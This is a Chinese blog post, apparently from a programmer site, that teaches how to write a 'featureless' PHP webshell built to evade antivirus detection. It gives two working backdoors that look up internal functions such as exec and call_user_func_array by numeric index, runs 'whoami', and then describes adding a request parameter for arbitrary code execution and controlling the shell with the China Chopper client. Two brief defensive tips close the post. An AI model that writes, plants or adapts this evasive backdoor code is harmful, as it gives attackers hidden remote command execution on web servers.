AI智能
改变未来

PHP无特征webshell


PHP无特征webshell

  • webshell就是将php、asp代码以网页的形式,编写成命令、代码执行的环境,可用于作为网站后门。webshell形式可谓是千变万化,但是总会存在一些文件和代码特征,从而可能被杀毒软件查杀,但是我们如何能做到无文件、无特征,来规避杀毒软件的查杀和检测呢?

常见php代码种可执行命令函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()、文件操作函数(file_put_contents()、fputs())、动态函数($a($b))

无特征webshell

原理:这里使用

get_defined_functions

函数遍历所有函数,然后将特定函数放在

call_user_func_array

函数中,来执行系统命令。

<?phpfunction testfunc(){$func = get_defined_functions();	//遍历所有函数,返回一个二维数组的函数(包括所有已定义的函数,内置的或者用户定义的函数)列表$args = func_get_args();	//接收传入的参数值$func_id = array_shift($args);	//获取传入的函数所代表的list的key$func_name = $func[\'internal\'][$func_id];	//根据internal方法来访问系统内置函数,通过key来索引函数名$tmp = 0;//print_r($func);if($conf_name == \"exec\"){	//判断获取的函数print_r(call_user_func_array($func_name, $args)); //调用回调函数($func_name),并把一个数组参数(得是索引数组)作为回调函数的参数。$tmp = 1;}return $tmp;}for ($x=0; $x<=50000; $x++){$tmp = testfunc($x, \"whoami\");	//调用函数if($tmp == 1){	//退出break;}}?>

执行结果:

  • 通过上面代码原理分析,我们可以看到这里是通过
    get_defined_functions

    遍历函数,从而调用exec等命令执行或代码执行函数的。

编写无特征webshell

<?phpfunction f(){$f = get_defined_functions()[\'internal\'];	//遍历所有函数,内置函数可以通过$arr[\'internal\']进行访问$a = func_get_args();	//接收传来的参数$t = $f[797]($a);	//797===>array_shift$c = $f[$t];return $f[549]($c, $a);	//549===>call_user_func_array}print_r(f(456,\'whoami\'));	//456===>exec?>

注意:

  • 这里的797、549、456,就表示通过list key,去索引函数名。


  • 执行结果(当前只是执行系统命令)

使用菜刀进行管理

  • 添加变量接收请求

  • 执行任意代码

  • 菜刀连接

防御方式:

  • 1.建议对网站使用WebShell扫描查杀工具进行查杀,例如D盾、WebShellkiller。
  • 2.对用户可控网站目录可读可写可执行权限进行严格限制。
赞(0) 打赏
未经允许不得转载:爱站程序员基地 » PHP无特征webshell